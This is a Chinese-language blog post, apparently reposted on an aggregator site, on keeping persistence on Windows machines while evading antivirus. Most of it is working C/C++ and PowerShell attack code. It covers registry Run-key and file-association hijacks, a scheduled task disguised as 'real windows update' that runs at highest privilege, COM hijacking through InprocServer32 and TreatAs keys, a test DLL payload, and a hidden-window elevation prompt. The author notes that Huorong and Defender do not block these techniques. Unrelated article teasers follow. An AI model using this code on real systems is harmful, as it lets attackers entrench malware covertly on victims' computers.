浅谈免杀下的持久化

文章目录

    • 前记
    • 注册表
    • 计划任务
    • COM劫持
    • 后记
    • reference

前记

实战中持久化的手段常用的就是加服务、添改注册表、加计划任务、劫持等,这里探索c/c++下的维权免杀

注册表

用户级

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级(需要管理员权限)

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

详细代码

#include<stdio.h>
#include<windows.h>
int main(void)
{HKEY hKey;DWORD result;//打开注册表DWORD lRet = RegOpenKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);if (lRet != ERROR_SUCCESS)return 0;char szModule[MAX_PATH];GetModuleFileNameA(NULL, szModule, MAX_PATH);lRet = RegSetValueExA(hKey,"coleak",0,REG_SZ,(BYTE*)szModule,strlen(szModule));if (lRet == ERROR_SUCCESS)printf("success\n");else{printf("failed");}RegCloseKey(hKey);return 0;
}

如果拿到了管理员权限,还可以通过后缀劫持进行维权

#include <windows.h>
#include <stdio.h>void showErrorText(DWORD error_num);int main()
{HKEY hKey;DWORD result;char szModule[MAX_PATH];GetModuleFileNameA(NULL, szModule, MAX_PATH);// 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给exe//打开注册表result = RegOpenKeyExA(HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // 要打开的注册表项名称0,              // 保留参数必须填 0KEY_SET_VALUE,  // 打开权限,写入&hKey           // 打开之后的句柄);if (result == ERROR_SUCCESS){printf("open success!n");}else{printf("open failed!n");showErrorText(result);system("pause");return 0;}// 设置注册表的值result = RegSetValueExA(hKey,"",                // 设置默认值0,                 // 保留参数必须填 0REG_SZ,            // 键值类型为字符串(const unsigned char*)szModule, // 字符串首地址sizeof(szModule)       // 字符串长度);if (result == ERROR_SUCCESS){printf("set success!n");}else{printf("set failed!n");showErrorText(result);}//关闭注册表:RegCloseKey(hKey);// 暂停system("pause");return 0;
}/** 根据错误码输出错误信息*/
void showErrorText(DWORD error_num)
{char* msg = NULL;FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,error_num,MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言(LPSTR)&msg,0,NULL);printf("Error code %d: ", error_num);if (msg == NULL)printf("%sn", "Unknown error");elseprintf("%sn", msg);
}

这里测试火绒和微软的defender都是不拦截的

计划任务

  • 触发器:定义了何时执行任务。可能是一次性的、按日程的、或者是响应特定事件的。
  • 操作:定义了任务执行的具体操作。可能是启动应用程序、发送电子邮件、显示消息等。
  • 条件:定义了任务执行的条件。例如,你可以配置任务仅在计算机空闲或只在特定的电源情况下执行。
  • 设置:定义了任务的其他设置,例如任务失败时重试的次数,任务运行的最长时间等。
#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;//初始化COM组件
void Init() {//1.CoInitialize初始化COM组件HRESULT hr = CoInitialize(NULL);if (FAILED(hr)) {MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);}//2.CoCreateInstance创建任务服务对象hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);if (FAILED(hr)) {MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);}//3.连接到任务服务hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());if (FAILED(hr)) {MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);}//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);if (FAILED(hr)) {MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);}
}//卸载COM组件
void UnInit() {if (m_lpITS){m_lpITS->Release();}if (m_lpRootFolder){m_lpRootFolder->Release();}CoUninitialize();
}//创建计划任务
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {// 创建任务定义对象来创建任务//  If the same task exists, remove it.m_lpRootFolder->DeleteTask((BSTR)lpszTaskName,0);ITaskDefinition* pTaskDefinition = NULL;HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);if (FAILED(hr)){return FALSE;}/* 设置注册信息 */IRegistrationInfo* pRegInfo = NULL;hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);if (FAILED(hr)){return FALSE;}// 设置作者信息hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));pRegInfo->Release();/* 设置登录类型和运行权限 */IPrincipal* pPrincipal = NULL;hr = pTaskDefinition->get_Principal(&pPrincipal);if (FAILED(hr)){return FALSE;}// 设置登录类型hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);// 设置运行权限// 最高权限hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);pPrincipal->Release();/* 设置其他信息 */ITaskSettings* pSettting = NULL;hr = pTaskDefinition->get_Settings(&pSettting);if (FAILED(hr)){return FALSE;}// 设置其他信息hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);pSettting->Release();/* 创建执行动作 */IActionCollection* pActionCollect = NULL;hr = pTaskDefinition->get_Actions(&pActionCollect);if (FAILED(hr)){return FALSE;}IAction* pAction = NULL;// 创建执行操作hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);pActionCollect->Release();/* 设置执行程序路径和参数 */CComVariant variantProgramPath(NULL);CComVariant variantParameters(NULL);IExecAction* pExecAction = NULL;hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));if (FAILED(hr)){pAction->Release();return FALSE;}pAction->Release();// 设置程序路径和参数variantProgramPath = lpszProgramPath;variantParameters = lpszParameters;pExecAction->put_Path(variantProgramPath.bstrVal);pExecAction->put_Arguments(variantParameters.bstrVal);pExecAction->Release();/* 创建触发器,实现用户登陆自启动 */ITriggerCollection* pTriggers = NULL;hr = pTaskDefinition->get_Triggers(&pTriggers);if (FAILED(hr)){return FALSE;}// 创建触发器,把触发器设置为ITrigger* pTrigger = NULL;hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);if (FAILED(hr)){return FALSE;}/* 注册任务计划  */IRegisteredTask* pRegisteredTask = NULL;CComVariant variantTaskName(NULL);variantTaskName = lpszTaskName;hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,pTaskDefinition,TASK_CREATE_OR_UPDATE,_variant_t(),_variant_t(),TASK_LOGON_INTERACTIVE_TOKEN,_variant_t(""),&pRegisteredTask);if (FAILED(hr)){pTaskDefinition->Release();return FALSE;}pTaskDefinition->Release();pRegisteredTask->Release();return TRUE;
}//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{if (NULL == m_lpRootFolder){return FALSE;}CComVariant variantTaskName(NULL);variantTaskName = lpszTaskName;HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);if (FAILED(hr)){return FALSE;}return TRUE;
}
int main()
{const char* lpszTaskName = "real windows update";   //任务名const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe";  //要执行的程序路径const char* lpszParameters = "whoami";     //程序参数const char* lpszAuthor = "coleak";Init();BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);if (!bRet) {printf("Create Task Failed");return -1;}UnInit();printf("Successd");return 0;
}

如图计划任务以最高权限运行,但是程序本身需要管理员权限才能添加成功

在这里插入图片描述

COM劫持

常见的手段如下

  • 修改已有的InprocServer32指向我们生成的dll
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandlerreg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer32" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
  • 设置计划任务通过 powershell 或 vbs 脚本来调用自己注册的恶意 COM

可以结合上面的写注册表和计划任务将vbs放到自启动去拉起com的函数

  • 利用现有任务进行劫持

Action 为 Comhandler 的计划任务调用的全是系统内置 COM,他们在注册表中的修改权限都是 trustedinstaller,其他用户都只有读取权限。(需要3389修改拥有者)

  • TreatAS键劫持

关键点是找到修改无需权限的节点,节点新建到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID或者HKCU\Software\Classes\CLSID无需高权限

#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer32" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer32" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

测试

1、先尝试直接写注册表免注册com

# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{HKEY hKey = NULL;char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";DWORD dwOptions = REG_OPTION_NON_VOLATILE;DWORD dwDisposition;long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";DWORD lRet = RegSetValueExA(hKey,"InprocServer32",0,REG_SZ,(BYTE*)szModule,strlen(szModule));if (lRet == ERROR_SUCCESS)printf("success\n");else{printf("failed");}RegCloseKey(hKey);return 0;
}

调用的时候会报错如下:80040154 没有注册类(注册需要管理员权限),同时添加计划任务也需要管理员权限,非常不安全不建议这么搞

2、枚举可用于 COM 劫持的计划任务,然后在user注册表提前劫持或者通过TreatAS劫持

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations

测试的dll必须加互斥规则

BOOL TestMutex()
{HANDLE hMutex = CreateMutex(NULL, false, "myself");  if (GetLastError() == ERROR_ALREADY_EXISTS){CloseHandle(hMutex);return 0;  }return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:if(TestMutex()==0)return TRUE;WinExec("calc.exe",SW_SHOWNORMAL);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

后记

注册表功能

名称作用
HKEY_CLASSES_ROOT用于存储一些文档类型、类、类的关联属性。
HKEY_CURRENT_CONFIG用户存储有关本地计算机系统的当前硬件配置文件信息。
HKEY_CURRENT_USER用于存储当前用户配置项。
HKEY_LOCAL_MACHINE用于存储当前用户物理状态。
HKEY_USERS用于存储新用户的默认配置项。

CLSID

CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

常见的CLSID:

{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

CLSID结构体:

typedef struct _GUID {DWORD Data1; // 随机数WORD Data2; // 和时间相关WORD Data3; // 和时间相关BYTE Data4[8]; // 和网卡MAC相关} GUID;typedef GUID CLSID;  // 组件IDtypedef GUID IID;    // 接口ID

注册表中的CLSID

CLSID Key:

Key Name说明
LocalServer32指定应用程序使用的自定义处理程序,即exe路径
InprocServer32/InprocHandler32模块、线程属性配置,即dll路径

COM组件寻找顺序

  • 1.HKCU\Software\Classes\CLSID
  • 2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
  • 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。
  • 修改掉LocalServer32InprocServer32的键值。
  • 替换掉LocalServer32InprocServer32的键值中的文件。

注册调用编写的com

regsvr32.exe -i ATLProject1.dll #这是注册
regsvr32.exe /u ATLProject1.dll #这是卸载
  • vbs
set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
  • powershell
[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
  • cmd
rundll32.exe -sta {CLSID}

请求管理员

VOID ManagerRun(LPCSTR exe, LPCSTR param)
{SHELLEXECUTEINFOA ShExecInfo;ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;ShExecInfo.hwnd = NULL;ShExecInfo.lpVerb = "runas";ShExecInfo.lpFile = exe;ShExecInfo.lpParameters = param;ShExecInfo.lpDirectory = NULL;ShExecInfo.nShow = SW_SHOW;ShExecInfo.hInstApp = NULL;BOOL ret = ShellExecuteExA(&ShExecInfo);//杀掉当前线程CloseHandle(ShExecInfo.hProcess);return;
}int main(int argc, char* argv[]) {if (argc == 1) //初次运行,即双击EXE{ShowWindow(GetConsoleWindow(), SW_HIDE);ManagerRun(argv[0], "2");return 1;}else if (argc == 2) //再次运行,即上面那个ManagerRun{function();/*你的程序主代码在此*/}return 0;
}

reference

https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/
https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/%E6%9C%A8%E9%A9%AC%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81%EF%BC%88%E5%85%AB%EF%BC%89%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%93%8D%E4%BD%9C/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/%E4%BD%BF%E7%94%A8COM%E7%BB%84%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/828329.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录算法训练营DAY36|C++贪心算法Part.5|435.无重叠区间、763.划分字母区间、56. 合并区间

文章目录 435.无重叠区间按右边界排序CPP代码 按左边界排序如何判断相邻区间是否重叠如何判断一下一个区间与当前相邻区间是否重叠总结CPP代码 763.划分字母区间思路伪代码实现CPP代码 56. 合并区间思路CPP代码 435.无重叠区间 力扣题目链接 文章链接&#xff1a;435.无重叠区间…

Python 0基础_变现_38岁_day 15(匿名函数)

匿名函数&#xff1a; 不用定义函数名&#xff0c;无需使用def关键字&#xff0c;使用lambda将函数写成一行&#xff1b;#使用匿名函数定义一个两个数字相加的函数add lambda x,y : xy #使用变量接收匿名函数的内容&#xff0c;且变量名作为调用函数的变量名&#xff1…

EasyRecovery数据恢复软件2025破解版安装包下载

EasyRecovery数据恢复软件的主要功能及使用教程。coco玛奇朵可以提供一个概要和简化的教程&#xff0c;以便你了解其基本内容和操作步骤。 EasyRecovery绿色破解下载网盘链接: https://pan.baidu.com/s/1_6NmcOh_Jmc-DGc4TJD-Mg?pwddq4w 提取码: dq4w 复制这段内容后打开百度…

强固型工业电脑在称重系统+叉车电脑,称重量体扫码一体机,物流分拣线工作站行业应用

称重系统叉车电脑行业应用 背景介绍 在叉车上安装称重传感器&#xff0c;通过对举升压力的自动检测&#xff0c;将压力信号转换为电流或电压信号&#xff0c;经过A/D转换&#xff0c;使模拟信号变为数字信号&#xff0c;经微处理器进行数据处理后通过蓝牙、串口或者USB接口将称…

dial tcp 192.168.0.190:443: connect: connection refused

1、场景 用nerdctl登录镜像仓库192.168.0.190&#xff08;Harbor&#xff09;&#xff0c;报错 ERRO[0006] failed to call tryLoginWithRegHost error"failed to call rh.Client.Do: Get \"https://192.168.0.190/v2/\": dial tcp 192.168.0.190:…

【数据结构】图(Graph)

文章目录 概念图的存储方式邻接矩阵邻接矩阵表示法邻接矩阵表示法的特点 邻接表邻接表表示法邻接表表示法的特点邻接表表示法的定义与实现查找插入删除其它构造函数析构函数创建图输出图 图的遍历深度优先遍历&#xff08;DFS&#xff09;广度优先遍历 图的连接分量和生成树生成…

C#设计树形程序界面的方法:创建特殊窗体

目录 1.TreeView控件 2.实例 &#xff08;1&#xff09;Resources.Designer.cs &#xff08;2&#xff09;Form1.Designer.cs &#xff08;3&#xff09;Form1.cs &#xff08;4&#xff09;生成效果 以树形来显示程序的菜单&#xff0c;可以更直观、更快捷地对窗体进行…

科技赋能无人零售

科技赋能无人零售&#xff0c;使其具备以下独特优势&#xff1a; 1. 全天候无缝服务 &#xff1a;无人零售店依托科技&#xff0c;实现24小时不间断运营&#xff0c;不受人力限制&#xff0c;满足消费者随时购物需求&#xff0c;尤其惠及夜间工作者、夜猫子及急需购物者&…

Android --- 常见UI组件

TextView 文本视图 设置字体大小&#xff1a;android:textSize"20sp" 用sp 设置颜色&#xff1a;android:textColor"#00ffff" 设置倍距(行距)&#xff1a;android:lineSpacingMultiplier"2" 设置具体行距&#xff1a;android:lineSpacingExtra&q…

基于RK3588的全国产鸿蒙边缘计算工控机在智能交通ETC收费系统的应用

1.1 产品简介 基于智能交通、工业互联等行业快速智能化发展的需求&#xff0c;以 OpenHarmony 为框架开发嵌入 HamonyOS&#xff0c;打造了具有高智能、高可靠、高安全的自主 可控的边缘处理器 XM-RK3588。 图 1-1 边缘处理器 HamonyOS强化 IoT 互联互动能力&#xff0c;让边缘…

Python爬虫入门指南--爬虫技术的由来、发展与未来--实战课程大赠送

爬虫&#xff0c;也称为网络爬虫或网络蜘蛛&#xff0c;是一种自动化程序&#xff0c;专门用于遍历互联网并收集数据。这种技术的起源、发展和未来都与互联网紧密相连&#xff0c;并在信息检索、数据挖掘等多个领域发挥着不可或缺的作用。 "免费IP池大放送&#xff01;助…

堆的概念、堆的向下调整算法、堆的向上调整算法、堆的基本功能实现

目录 堆的介绍 堆的概念 堆的性质 堆的结构 堆的向下调整算法 基本思想&#xff08;以建小堆为例&#xff09; 代码 堆的向上调整算法 基本思想&#xff08;以建小堆为例&#xff09; 代码 堆功能的实现 堆的初始化 HeapInit 销毁堆 HeapDestroy 打印堆 HeapPrint …

洛谷 P1021 邮票面值设计

原题链接&#xff1a;[NOIP1999 提高组] 邮票面值设计 - 洛谷 目录 题目描述 解题思路&#xff1a; 代码实现&#xff1a; 题后总结&#xff1a; 题目描述 给定一个信封&#xff0c;最多只允许粘贴 N 张邮票&#xff0c;计算在给定 K&#xff08;NK≤15&#xff09;种邮票…

RAG的进化之路:从单兵作战到多智协作

原文&#xff1a;https://arxiv.org/pdf/2404.15155.pdf 近年来,随着大规模预训练语言模型的蓬勃发展,基于检索的知识问答技术越来越受到学术界和工业界的青睐。其中最具代表性的当属RAG方法。RAG通过将外部知识库集成到语言模型中,对输入的问题进行深入理解、推理,并生成相应的…

【C语言】联合体详解

目录 1.联合体的声明 2.联合体的特点 3.相同成员的结构体和联合体对比 4.联合体大小的计算 1.联合体的声明 像结构体一样&#xff0c;联合体也是由一个或者多个成员构成&#xff0c;这些成员可以不同的类型。但是编译器只为最大的成员分配足够的内存空间。 联合体的特点是所…

骑砍2霸主MOD开发(6)-使用C#-Harmony修改本体游戏逻辑

一.C#-Harmony反射及动态注入 利用C#运行时环境的反射原理,实现对已加载DLL,未加载DLL中代码替换和前置后置插桩. C#依赖库下载地址:霸王•吕布 / CSharpHarmonyLib GitCodehttps://gitcode.net/qq_35829452/csharpharmonylib 根据实际运行.Net环境选择对应版本的0Harmony.dll…

C++(Qt)软件调试---crashpad捕获崩溃(19)

C(Qt)软件调试—crashpad捕获崩溃&#xff08;19&#xff09; 文章目录 C(Qt)软件调试---crashpad捕获崩溃&#xff08;19&#xff09;1、概述2、资源地址3、配置环境4、解决报错5、测试代码6、测试结果7、Qt中使用crashpad 更多精彩内容&#x1f449;个人内容分类汇总 &#x…

矩阵按列相乘运算的并行化实现方法

这两天一直在琢磨如下矩阵计算问题。 已知dm矩阵X和hq矩阵Y&#xff0c;求如下矩阵&#xff1a; 其中X(:,i), Y(:,j)分别表示矩阵X, Y的第i列和第j列&#xff0c;易知Z为dh矩阵。 如果直接串行计算矩阵Z&#xff0c;两个循环共有mq&#xff0c;则会很慢&#xff0c;能不能并行化…

枚举(enum)/共用体(union)/结构体(struct)---详解

前言 C语言包含内置类型和自定义类型。 其实C语言中有内置类型&#xff0c;包含&#xff1a;char,short,int,long,long long,float,double,long double ,这些是C语言本身支持的现成的类型。 但仅仅只有内置类型是远远不够的&#xff0c;在描述一个复杂对象是无法使用内置类型来…

区块链安全应用------压力测试

测试要求&#xff1a; 1. 对以下AccountManager智能合约进行压测(基础要求set函数测试&#xff0c;balanceOf涵为20分加分项)2. 在本地链进行测试&#xff0c;需要监控本地进程的资源使用情况。每个进程的multiOutput属性为Avg3. 需要将每一个更改的配置文件截图&#xff0c;和…